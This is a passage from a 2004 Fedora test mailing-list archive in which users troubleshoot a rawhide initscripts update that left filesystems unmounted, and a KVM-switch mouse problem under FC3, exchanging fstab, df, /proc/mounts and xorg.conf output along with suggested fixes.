/usr partition. When you find it, get rid of that LABEL= crap in your > fstab and use that instead. When its fixed, reboot. No, there seems to be something that happened with yesterdays rawhide update. I just rebooted and got the message that my home dir did not exist. I went to a virtual term and looked to see what ws up. This is what I got: Filesystem Size Used Avail Use% Mounted on /dev/hda1 97M 18M 75M 20% /boot none 244M 184K 244M 1% /dev/shm /dev/hda5 97M 18M 75M 20% /home Well that is weird. This is my fstab: # This file is edited by fstab-sync - see 'man fstab-sync' for details LABEL=/ / ext3 defaults 1 1 LABEL=/boot /boot ext3 defaults 1 2 none /dev/pts devpts gid=5,mode=620 0 0 none /dev/shm tmpfs defaults 0 0 LABEL=/home /home ext3 defaults 1 2 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/hda3 swap swap defaults 0 0 /dev/hdc /media/cdrecorder auto pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed 0 0 /dev/scd0 /media/cdrecorder1 auto pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed 0 0 A ls of /home showed that it was empty. So I mounted it. and it was there. But I did not see anything in /boot. /boot is hda1, but / is hda2. The size for /boot is correct, but when I went to /boot it was empty. Looking at / showed that it was mounted as /boot. I mounted /boot ok, and the files are there, but the latest df shows: [bpm]$ df -h Filesystem Size Used Avail Use% Mounted on /dev/hda1 97M 18M 75M 20% /boot none 244M 184K 244M 1% /dev/shm /dev/hda5 26G 6.2G 19G 26% /home /dev/hda1 97M 18M 75M 20% /boot [bpm]$ cd / [bpm]$ df -h . Filesystem Size Used Avail Use% Mounted on - 9.7G 5.2G 4.0G 57% / So I'd say something is rotten. -- Brian Millett Enterprise Consulting Group "Shifts in paradigms (314) 205-9030 often cause nose bleeds." bpmATec-groupDOTcom Greg Glenn From paul at all-the-johnsons.co.uk Sat Nov 27 00:05:42 2004 From: paul at all-the-johnsons.co.uk (Paul F. Johnson) Date: Sat, 27 Nov 2004 00:05:42 +0000 Subject: /usr has vanished completely! In-Reply-To: <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> Message-ID: <20041127000542.M91047@all-the-johnsons.co.uk> Hi, > A ls of /home showed that it was empty. So I mounted it. and it was > there. > > But I did not see anything in /boot. /boot is hda1, but / is hda2. > The size for /boot is correct, but when I went to /boot it was > empty. Looking at / showed that it was mounted as /boot. I mounted > /boot ok, and the files are there, but the latest df shows: > > [bpm]$ df -h > Filesystem Size Used Avail Use% Mounted on > /dev/hda1 97M 18M 75M 20% /boot > none 244M 184K 244M 1% /dev/shm > /dev/hda5 26G 6.2G 19G 26% /home > /dev/hda1 97M 18M 75M 20% /boot > [bpm]$ cd / > [bpm]$ df -h . > Filesystem Size Used Avail Use% Mounted on > - 9.7G 5.2G 4.0G 57% / > > So I'd say something is rotten. I've altered fstab now so that /dev/hda5 is mounted as /usr and chnaged LABEL=/ to /dev/hda. Made no difference. It looks like fstab is just not being loaded. Anything held on another partition or drive other than /dev/hda1 or /dev/hda2 is being ignored. Which package do I need to roll-back (I imagine it will be initscripts) so my machine will fire up properly? TTFN Paul -- Get your free @ukpost.com account now http://www.ukpost.com/ From pboy at barkhof.uni-bremen.de Sat Nov 27 00:12:12 2004 From: pboy at barkhof.uni-bremen.de (Peter Boy) Date: Sat, 27 Nov 2004 01:12:12 +0100 Subject: Evolution Mime Attachments..... In-Reply-To: <1101200330.12443.18.camel@ricardo.gateway.2wire.net> References: <1101167861.10773.10.camel@localhost.localdomain> <1101174842.22157.1.camel@dcbw.boston.redhat.com> <1101197070.3798.7.camel@littlePiet> <1101200330.12443.18.camel@ricardo.gateway.2wire.net> Message-ID: <1101514332.3788.32.camel@littlePiet> Am Dienstag, den 23.11.2004, 04:58 -0400 schrieb Ricardo Veguilla: > > Actually, if I edit those files and remove mp3, the programs still show > > up in other applications ("Open with", if I right-click on an mp3-file > > icon). > > did you run update-desktop-database /usr/share/applications ? No, I missed that. Thanks for information. Peter From michal at harddata.com Sat Nov 27 00:25:15 2004 From: michal at harddata.com (Michal Jaegermann) Date: Fri, 26 Nov 2004 17:25:15 -0700 Subject: /usr has vanished completely! In-Reply-To: <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com>; from bpm@ec-group.com on Fri, Nov 26, 2004 at 05:34:15PM -0600 References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> Message-ID: <20041126172515.A20236@mail.harddata.com> On Fri, Nov 26, 2004 at 05:34:15PM -0600, Brian Millett wrote: > > > No, there seems to be something that happened with yesterdays rawhide update. > I just rebooted and got the message that my home dir did not exist. I > went to a virtual term and looked to see what ws up. This is what I got: > > Filesystem Size Used Avail Use% Mounted on > /dev/hda1 97M 18M 75M 20% /boot > none 244M 184K 244M 1% /dev/shm > /dev/hda5 97M 18M 75M 20% /home This does not mean very much. What you will see if you will do 'cat /proc/mounts'? For some time initscripts are seriously broken ( https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=139642 ) and /etc/mtab is messed up throwing out of kilter 'mount', 'df' and who knows what else. It is somewhat strange that this things remains broken for so long time. Michal From michal at harddata.com Sat Nov 27 00:35:30 2004 From: michal at harddata.com (Michal Jaegermann) Date: Fri, 26 Nov 2004 17:35:30 -0700 Subject: /usr has vanished completely! In-Reply-To: <20041126172515.A20236@mail.harddata.com>; from michal@harddata.com on Fri, Nov 26, 2004 at 05:25:15PM -0700 References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <20041126172515.A20236@mail.harddata.com> Message-ID: <20041126173530.A20617@mail.harddata.com> I think what OP meant. I just applied recent rawhide updates and _none_ of disk based file systems was mounted except of /. I happen to have here four of these plus two bind mounts. Typing 'mount -a' at the root prompt immediately restored a resemblance of a sanity but I do not know yet what actually is messed up. Possibly this was a "fix" for that bug report I mentioned previously or maybe some other "improvement" is responsible. :-) Michal From paul at all-the-johnsons.co.uk Sat Nov 27 00:49:34 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Sat, 27 Nov 2004 00:49:34 +0000 Subject: /usr has vanished completely! In-Reply-To: <20041126173530.A20617@mail.harddata.com> References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <20041126172515.A20236@mail.harddata.com> <20041126173530.A20617@mail.harddata.com> Message-ID: <1101516574.3451.10.camel@localhost.localdomain> Hi, > I think what OP meant. I just applied recent rawhide updates and > _none_ of disk based file systems was mounted except of /. I happen > to have here four of these plus two bind mounts. Latest initscripts are to blame. Drop back down a version and all returns to sanity, well, mostly all... TTFN Paul -- "I'm gonna hit the highway like a bat out of hell with a Cilla Black fan on the bike" - Meatloaf -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From gene.heskett at verizon.net Sat Nov 27 01:03:05 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Fri, 26 Nov 2004 20:03:05 -0500 Subject: /usr has vanished completely! In-Reply-To: <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> References: <1101497614.3200.3.camel@localhost.localdomain> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> Message-ID: <200411262003.05665.gene.heskett@verizon.net> On Friday 26 November 2004 18:34, Brian Millett wrote: >> On Friday 26 November 2004 16:46, Paul F. Johnson wrote: >>>Hi, >>> >>>> On Fri, Nov 26, 2004 at 07:33:34PM +0000, Paul wrote: >>>> > My entire /usr directory is completely empty! It was working, >>>> > I did >>>> >>>> a reset and on restart, I started to get all sorts of >>>> >>>> > errors, the drives didn't mount and on checking, /usr is >>>> > devoid of >>>> >>>> absolutely everything! >>>> >>>> Is /usr empty because it didn't mount. Don't panic until you've >>>> checked the partition tables and fsck >>> >>>Everything other than /usr is fine. The only thing which doesn't >>> look right is that in fstab, the line for user is LABEL=/usr, >>> whereas everything else is /var (and so on). >>> >>>How do I check the partition tables? Remember, I have nothing in >>> /usr >>> >>>TTFN >>> >>>Paul >> >> This sounds as if you had it setup with labels, but are not using >> an initrd now, which is required to run labels as opposed to >> direct pointers such as /dev/hda7. If you know which partition >> was the one that has the /usr on it, and you can do that with >> experimental mounts to /mnt/someplace, (after a mkdir >> /mnt/someplace) then mount -t ext3 /dev/hda1 /mnt/someplace, then >> do an ls on it and see if thats /usr, if not, umount it, and try >> /dev/hda2 etc until you find the /usr partition. When you find >> it, get rid of that LABEL= crap in your fstab and use that >> instead. When its fixed, reboot. > >No, there seems to be something that happened with yesterdays > rawhide update. I just rebooted and got the message that my home > dir did not exist. I went to a virtual term and looked to see what > ws up. This is what I got: > >Filesystem Size Used Avail Use% Mounted on >/dev/hda1 97M 18M 75M 20% /boot >none 244M 184K 244M 1% /dev/shm >/dev/hda5 97M 18M 75M 20% /home > >Well that is weird. > >This is my fstab: ># This file is edited by fstab-sync - see 'man fstab-sync' for > details LABEL=/ / ext3 > defaults 1 1 LABEL=/boot /boot > ext3 defaults 1 2 none /dev/pts > devpts gid=5,mode=620 0 0 none > /dev/shm tmpfs defaults 0 0 LABEL=/home > /home ext3 defaults 1 2 none > /proc proc defaults 0 0 > none /sys sysfs defaults > 0 0 /dev/hda3 swap swap > defaults 0 0 /dev/hdc /media/cdrecorder > auto >pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,ma >naged 0 0 >/dev/scd0 /media/cdrecorder1 auto >pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,ma >naged 0 0 > >A ls of /home showed that it was empty. So I mounted it. and it was > there. > >But I did not see anything in /boot. /boot is hda1, but / is hda2. > The size for /boot is correct, but when I went to /boot it was > empty. Looking at / showed that it was mounted as /boot. I > mounted /boot ok, and the files are there, but the latest df shows: > > >[bpm]$ df -h >Filesystem Size Used Avail Use% Mounted on >/dev/hda1 97M 18M 75M 20% /boot >none 244M 184K 244M 1% /dev/shm >/dev/hda5 26G 6.2G 19G 26% /home >/dev/hda1 97M 18M 75M 20% /boot >[bpm]$ cd / >[bpm]$ df -h . >Filesystem Size Used Avail Use% Mounted on >- 9.7G 5.2G 4.0G 57% / > > >So I'd say something is rotten. It would appear so, and I don't have any other ideas. -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.29% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From michal at harddata.com Sat Nov 27 01:04:32 2004 From: michal at harddata.com (Michal Jaegermann) Date: Fri, 26 Nov 2004 18:04:32 -0700 Subject: /usr has vanished completely! In-Reply-To: <1101516574.3451.10.camel@localhost.localdomain>; from paul@all-the-johnsons.co.uk on Sat, Nov 27, 2004 at 12:49:34AM +0000 References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <20041126172515.A20236@mail.harddata.com> <20041126173530.A20617@mail.harddata.com> <1101516574.3451.10.camel@localhost.localdomain> Message-ID: <20041126180432.A21284@mail.harddata.com> On Sat, Nov 27, 2004 at 12:49:34AM +0000, Paul wrote: > > > I think what OP meant. I just applied recent rawhide updates and > > _none_ of disk based file systems was mounted except of /. I happen > > to have here four of these plus two bind mounts. > > Latest initscripts are to blame. Drop back down a version and all > returns to sanity, well, mostly all... Agreed. The previous version of initscript was seriously messed up too but this one really takes the cake. How come you did not notice that various services are not starting up before you even see a shell? Quite likely easy to work around. To add an icing to the cake it look that the current version of xorg-x11, i.e. 6.8.1-19, is seriously broken as well. At least on my Radeon it simply locks up everything with no trace of a picture. I will have look at logs once I will get to them. :-) The previous xorg-x11 was running just fine. Michal From gene.heskett at verizon.net Sat Nov 27 01:06:50 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Fri, 26 Nov 2004 20:06:50 -0500 Subject: /usr has vanished completely! In-Reply-To: <20041127000542.M91047@all-the-johnsons.co.uk> References: <1101497614.3200.3.camel@localhost.localdomain> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <20041127000542.M91047@all-the-johnsons.co.uk> Message-ID: <200411262006.50142.gene.heskett@verizon.net> On Friday 26 November 2004 19:05, Paul F. Johnson wrote: >Hi, > >> A ls of /home showed that it was empty. So I mounted it. and it >> was there. >> >> But I did not see anything in /boot. /boot is hda1, but / is >> hda2. The size for /boot is correct, but when I went to /boot it >> was empty. Looking at / showed that it was mounted as /boot. I >> mounted /boot ok, and the files are there, but the latest df >> shows: >> >> [bpm]$ df -h >> Filesystem Size Used Avail Use% Mounted on >> /dev/hda1 97M 18M 75M 20% /boot >> none 244M 184K 244M 1% /dev/shm >> /dev/hda5 26G 6.2G 19G 26% /home >> /dev/hda1 97M 18M 75M 20% /boot >> [bpm]$ cd / >> [bpm]$ df -h . >> Filesystem Size Used Avail Use% Mounted on >> - 9.7G 5.2G 4.0G 57% / >> >> So I'd say something is rotten. > >I've altered fstab now so that /dev/hda5 is mounted as /usr and > chnaged LABEL=/ to /dev/hda. Made no difference. It looks like > fstab is just not being loaded. Thats patently incorrect, you must give it the partition number and even if /dev/hda was all one partition, it would still be /dev/hda1 if a filesystem has been made on it. >Anything held on another partition or drive other than /dev/hda1 or > /dev/hda2 is being ignored. > >Which package do I need to roll-back (I imagine it will be > initscripts) so my machine will fire up properly? > NDI. Since no one else has chimed in with a similar problem, what I described earlier is still the method I would use. >TTFN > >Paul > >-- >Get your free @ukpost.com account now >http://www.ukpost.com/ -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.29% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From michal at harddata.com Sat Nov 27 01:10:53 2004 From: michal at harddata.com (Michal Jaegermann) Date: Fri, 26 Nov 2004 18:10:53 -0700 Subject: /usr has vanished completely! In-Reply-To: <200411262003.05665.gene.heskett@verizon.net>; from gene.heskett@verizon.net on Fri, Nov 26, 2004 at 08:03:05PM -0500 References: <1101497614.3200.3.camel@localhost.localdomain> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <200411262003.05665.gene.heskett@verizon.net> Message-ID: <20041126181053.B21284@mail.harddata.com> On Fri, Nov 26, 2004 at 08:03:05PM -0500, Gene Heskett wrote: > On Friday 26 November 2004 18:34, Brian Millett wrote: > > > >So I'd say something is rotten. > > It would appear so, and I don't have any other ideas. Do for the moment 'ln -sf /proc/mounts /etc/mtab'. It is not really correct but should tide you over. If you have some file systems which appear to be mounted but still have nothing to show, say /usr to be specific, do umount /usr ; mount -a without paying attention to error messages. Most likely it will help. Repeat as long as needed. Michal From bpm at ec-group.com Sat Nov 27 01:27:55 2004 From: bpm at ec-group.com (Brian Millett) Date: Fri, 26 Nov 2004 19:27:55 -0600 (CST) Subject: /usr has vanished completely! In-Reply-To: <20041126181053.B21284@mail.harddata.com> References: <1101497614.3200.3.camel@localhost.localdomain> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <200411262003.05665.gene.heskett@verizon.net> <20041126181053.B21284@mail.harddata.com> Message-ID: <32784.68.92.85.103.1101518875.squirrel@webmail.ec-group.com> > On Fri, Nov 26, 2004 at 08:03:05PM -0500, Gene Heskett wrote: >> On Friday 26 November 2004 18:34, Brian Millett wrote: >> > >> >So I'd say something is rotten. >> >> It would appear so, and I don't have any other ideas. > > Do for the moment 'ln -sf /proc/mounts /etc/mtab'. It is not > really correct but should tide you over. > > If you have some file systems which appear to be mounted but > still have nothing to show, say /usr to be specific, do > > umount /usr ; mount -a > > without paying attention to error messages. Most likely it will > help. Repeat as long as needed. Ok, just for laughs, I rebooted into single user and cat /proc/mounts rootfs / rootfs rw 0 0 /proc /proc proc rw,nodiratime 0 0 none /dev tmpfs rw 0 0 /dev/root / ext3 rw 0 0 none /dev tmpfs rw 0 0 none /selinux selinuxfs rw 0 0 /proc /proc proc rw,nodiratime 0 0 /proc/bus/usb /proc/bus/usb usbfs rw 0 0 /sys /sys sysfs rw 0 0 none /dev/pts devpts rw 0 0 none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0 then I mounted /boot and /home. then cat /proc/mounts rootfs / rootfs rw 0 0 /proc /proc proc rw,nodiratime 0 0 none /dev tmpfs rw 0 0 /dev/root / ext3 rw 0 0 none /dev tmpfs rw 0 0 none /selinux selinuxfs rw 0 0 /proc /proc proc rw,nodiratime 0 0 /proc/bus/usb /proc/bus/usb usbfs rw 0 0 /sys /sys sysfs rw 0 0 none /dev/pts devpts rw 0 0 none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0 /dev/hda5 /home ext3 rw 0 0 /dev/hda1 /boot ext3 rw 0 0 sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw 0 0 Then I cat /etc/mtab /dev/hda1 /boot ext3 rw 0 0 none /dev/pts devpts rw,gid=5,mode=620 0 0 none /dev/shm tmpfs rw 0 0 /dev/hda5 /home ext3 rw 0 0 none /proc proc rw 0 0 none /sys sysfs rw 0 0 none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0 /dev/hda5 /home ext3 rw 0 0 /dev/hda1 /boot ext3 rw 0 0 sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw 0 0 Ok, so it is wrong. Am going to try the ln -sf /proc/mounts /etc/mtab and see what happens. Then I'll back grade initscripts. -- Brian Millett Enterprise Consulting Group "Shifts in paradigms (314) 205-9030 often cause nose bleeds." bpmATec-groupDOTcom Greg Glenn From michal at harddata.com Sat Nov 27 05:39:02 2004 From: michal at harddata.com (Michal Jaegermann) Date: Fri, 26 Nov 2004 22:39:02 -0700 Subject: /usr has vanished completely! In-Reply-To: <1101516574.3451.10.camel@localhost.localdomain>; from paul@all-the-johnsons.co.uk on Sat, Nov 27, 2004 at 12:49:34AM +0000 References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <20041126172515.A20236@mail.harddata.com> <20041126173530.A20617@mail.harddata.com> <1101516574.3451.10.camel@localhost.localdomain> Message-ID: <20041126223902.A27379@mail.harddata.com> I wrote before that also xorg-x11 seems to be goner after recent updates. A closer examination reveals that this is not precisely true. A check in logs shows that because of a confusion of mounts created by initscripts X cannot find any fonts so it does not start. The only problem is that instead of returning with a failure X holds to a keyboard and sits there doing nothing. Courtesy if initscripts sshd also did not start, even if had a network up, so I could not reach buggered out machine over a network as well. Booting to level 1, cleaning up all that mess done by a startup, and then doing 'telinit 5' does work. Until you shovel out that junk things like 'mount' or 'df' have no chance to work correctly. I guess that I will submit a bugzilla report tommorow unless somebody will be faster (which I do not mind at all :-). Michal From paul at all-the-johnsons.co.uk Sat Nov 27 09:58:51 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Sat, 27 Nov 2004 09:58:51 +0000 Subject: /usr has vanished completely! In-Reply-To: <20041126181053.B21284@mail.harddata.com> References: <1101497614.3200.3.camel@localhost.localdomain> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <200411262003.05665.gene.heskett@verizon.net> <20041126181053.B21284@mail.harddata.com> Message-ID: <1101549531.3451.24.camel@localhost.localdomain> On Fri, 2004-11-26 at 18:10 -0700, Michal Jaegermann wrote: > On Fri, Nov 26, 2004 at 08:03:05PM -0500, Gene Heskett wrote: > > On Friday 26 November 2004 18:34, Brian Millett wrote: > > > > > >So I'd say something is rotten. > > > > It would appear so, and I don't have any other ideas. > > Do for the moment 'ln -sf /proc/mounts /etc/mtab'. It is not > really correct but should tide you over. And won't work if you have things on different filesystems. initscripts is broken, downgrade to 7.98-1 and things work again. TTFN Paul -- "I'm gonna hit the highway like a bat out of hell with a Cilla Black fan on the bike" - Meatloaf -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From czar at czarc.net Sat Nov 27 18:34:49 2004 From: czar at czarc.net (Gene C.) Date: Sat, 27 Nov 2004 13:34:49 -0500 Subject: fedora-amd64 list? In-Reply-To: <1101303244.12254.42.camel@localhost.localdomain> References: <1101303244.12254.42.camel@localhost.localdomain> Message-ID: <200411271334.49275.czar@czarc.net> On Wednesday 24 November 2004 08:34, Colin Charles wrote: > On Mon, 2004-11-22 at 07:53 -0600, Justin Conover wrote: > > > Like amd64-list at redhat.com ?? > > > > > > that already exists ;) > > > > Yes, like that :P > > > > Someone should create a link on: > > > > http://fedora.redhat.com/participate/communicate/ > > But it isn't fedora specific. If there's consensus however, we can fix > that... Traffic is fairly low on the amd64 at redhat.com list so putting all of the FC amd64 stuff there should not be a problem ... it just needs to be advertised more. The biggest "problem" with a separate amd64 list is that many problems/discussions are not necessarily amd64 specific. There is the additional "problem" that amd64 problems/discussions are no longer "AMD" specific since Intel now supports the instruction set/architecture. Having said this, I would like to see more use made of amd64 at redhat.com for problems/discussions specifically related to that architecture. -- Gene From sean.bruno at dsl-only.net Sat Nov 27 18:37:40 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sat, 27 Nov 2004 10:37:40 -0800 Subject: KVM mouse even worse Message-ID: <1101580660.7306.4.camel@oscar.metro1.com> It seems like the issues with mice and KVM switch boxes has gotten worse under FC3. Under FC2 the mouse would get confused when switching between different machines and I would have to "ctrl-alt-f1" and then "ctrl-alt-f7" to reset the mouse back to a useable state. Now under FC3, this "workaround" no longer compensates for the issue. To get the mouse back, I have to disconnect the mouse(physically) and reconnect it. Does this sound like something that has already been reported? -- From jspaleta at gmail.com Sat Nov 27 18:58:49 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sat, 27 Nov 2004 13:58:49 -0500 Subject: KVM mouse even worse In-Reply-To: <1101580660.7306.4.camel@oscar.metro1.com> References: <1101580660.7306.4.camel@oscar.metro1.com> Message-ID: <604aa791041127105852f3e4a5@mail.gmail.com> On Sat, 27 Nov 2004 10:37:40 -0800, Sean Bruno > Now under FC3, this > "workaround" no longer compensates for the issue. > To get the mouse back, I have to disconnect the mouse(physically) and > reconnect it. Does this sound like something that has already been > reported? Several bugs relating to mouse behavior have been reported. Enlightening comments in this bug report: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132471 -jef From clydekunkel7734 at cox.net Sat Nov 27 19:04:16 2004 From: clydekunkel7734 at cox.net (Clyde E. Kunkel) Date: Sat, 27 Nov 2004 14:04:16 -0500 Subject: KVM mouse even worse In-Reply-To: <1101580660.7306.4.camel@oscar.metro1.com> References: <1101580660.7306.4.camel@oscar.metro1.com> Message-ID: <1101582256.3874.6.camel@localhost.localdomain> On Sat, 2004-11-27 at 10:37 -0800, Sean Bruno wrote: > It seems like the issues with mice and KVM switch boxes has gotten worse > under FC3. > > Under FC2 the mouse would get confused when switching between different > machines and I would have to "ctrl-alt-f1" and then "ctrl-alt-f7" to > reset the mouse back to a useable state. > > Now under FC3, this "workaround" no longer compensates for the issue. > To get the mouse back, I have to disconnect the mouse(physically) and > reconnect it. Does this sound like something that has already been > reported? > > -- Actually, my KVM mouse has improved under FC3. I no longer need psmouse.proto=imps in grub. One thing, I always make sure that I keep the KVM switched to the FC3 machine when it is booting. From sean.bruno at dsl-only.net Sat Nov 27 19:17:15 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sat, 27 Nov 2004 11:17:15 -0800 Subject: KVM mouse even worse In-Reply-To: <1101582256.3874.6.camel@localhost.localdomain> References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> Message-ID: <1101583035.7306.11.camel@oscar.metro1.com> Indeed, keeping the KVM set to the booting machine has always been a must. However, the mouse is breaking between machines that are already booted. On Sat, 2004-11-27 at 14:04 -0500, Clyde E. Kunkel wrote: > On Sat, 2004-11-27 at 10:37 -0800, Sean Bruno wrote: > > It seems like the issues with mice and KVM switch boxes has gotten worse > > under FC3. > > > > Under FC2 the mouse would get confused when switching between different > > machines and I would have to "ctrl-alt-f1" and then "ctrl-alt-f7" to > > reset the mouse back to a useable state. > > > > Now under FC3, this "workaround" no longer compensates for the issue. > > To get the mouse back, I have to disconnect the mouse(physically) and > > reconnect it. Does this sound like something that has already been > > reported? > > > > -- > > Actually, my KVM mouse has improved under FC3. I no longer need > psmouse.proto=imps in grub. One thing, I always make sure that I keep > the KVM switched to the FC3 machine when it is booting. > > From clydekunkel7734 at cox.net Sat Nov 27 19:52:47 2004 From: clydekunkel7734 at cox.net (Clyde E. Kunkel) Date: Sat, 27 Nov 2004 14:52:47 -0500 Subject: KVM mouse even worse In-Reply-To: <1101583035.7306.11.camel@oscar.metro1.com> References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> <1101583035.7306.11.camel@oscar.metro1.com> Message-ID: <1101585167.3874.9.camel@localhost.localdomain> On Sat, 2004-11-27 at 11:17 -0800, Sean Bruno wrote: > Indeed, keeping the KVM set to the booting machine has always been a > must. However, the mouse is breaking between machines that are already > booted. > > > On Sat, 2004-11-27 at 14:04 -0500, Clyde E. Kunkel wrote: > > On Sat, 2004-11-27 at 10:37 -0800, Sean Bruno wrote: > > > It seems like the issues with mice and KVM switch boxes has gotten worse > > > under FC3. > > > > > > Under FC2 the mouse would get confused when switching between different > > > machines and I would have to "ctrl-alt-f1" and then "ctrl-alt-f7" to > > > reset the mouse back to a useable state. > > > > > > Now under FC3, this "workaround" no longer compensates for the issue. > > > To get the mouse back, I have to disconnect the mouse(physically) and > > > reconnect it. Does this sound like something that has already been > > > reported? > > > > > > -- > > > > Actually, my KVM mouse has improved under FC3. I no longer need > > psmouse.proto=imps in grub. One thing, I always make sure that I keep > > the KVM switched to the FC3 machine when it is booting. > > > > FWIW here are the pertinent parts of my xorg.conf: # Xorg configuration created by system-config-display Section "ServerLayout" Identifier "single head configuration" Screen 0 "Screen0" 0 0 InputDevice "Mouse0" "CorePointer" InputDevice "Keyboard0" "CoreKeyboard" EndSection ... Section "InputDevice" Identifier "Mouse0" Driver "mouse" Option "Protocol" "IMPS/2" Option "Device" "/dev/input/mice" Option "ZAxisMapping" "4 5" Option "Emulate3Buttons" "yes" EndSection BTW, I have PS/2 style mouse, not USB. Regards, Clyde Kunkel From sean.bruno at dsl-only.net Sat Nov 27 22:26:49 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sat, 27 Nov 2004 14:26:49 -0800 Subject: KVM mouse even worse In-Reply-To: <1101585167.3874.9.camel@localhost.localdomain> References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> <1101583035.7306.11.camel@oscar.metro1.com> <1101585167.3874.9.camel@localhost.localdomain> Message-ID: <1101594409.7306.14.camel@oscar.metro1.com> > FWIW here are the pertinent parts of my xorg.conf: > > # Xorg configuration created by system-config-display > > Section "ServerLayout" > Identifier "single head configuration" > Screen 0 "Screen0" 0 0 > InputDevice "Mouse0" "CorePointer" > InputDevice "Keyboard0" "CoreKeyboard" > EndSection > > ... > > Section "InputDevice" > Identifier "Mouse0" > Driver "mouse" > Option "Protocol" "IMPS/2" > Option "Device" "/dev/input/mice" > Option "ZAxisMapping" "4 5" > Option "Emulate3Buttons" "yes" > EndSection My settings are identical. However, I am using a USB mouse(MS Intellimouse Optical) with a PS2 adapter on a belkin KVM. Shouldn't be an issue, but is this something too weird? From jeremy.rosengren at gmail.com Sat Nov 27 23:05:12 2004 From: jeremy.rosengren at gmail.com (Jeremy Rosengren) Date: Sat, 27 Nov 2004 17:05:12 -0600 Subject: KVM mouse even worse In-Reply-To: <1101594409.7306.14.camel@oscar.metro1.com> References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> <1101583035.7306.11.camel@oscar.metro1.com> <1101585167.3874.9.camel@localhost.localdomain> <1101594409.7306.14.camel@oscar.metro1.com> Message-ID: I have almost the exact same setup: Logitech USB mouse with PS/2 convertor with a Belkin OmniCube 2-port KVM. It's not all the time that I see the mouse go away completely, but I have seen it since installing FC3. Is there a pertinent bugzilla entry I should attach comments to? Thanks, -- jeremy > My settings are identical. However, I am using a USB mouse(MS > Intellimouse Optical) with a PS2 adapter on a belkin KVM. Shouldn't be > an issue, but is this something too weird? > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From sean.bruno at dsl-only.net Sat Nov 27 23:13:05 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sat, 27 Nov 2004 15:13:05 -0800 Subject: KVM mouse even worse 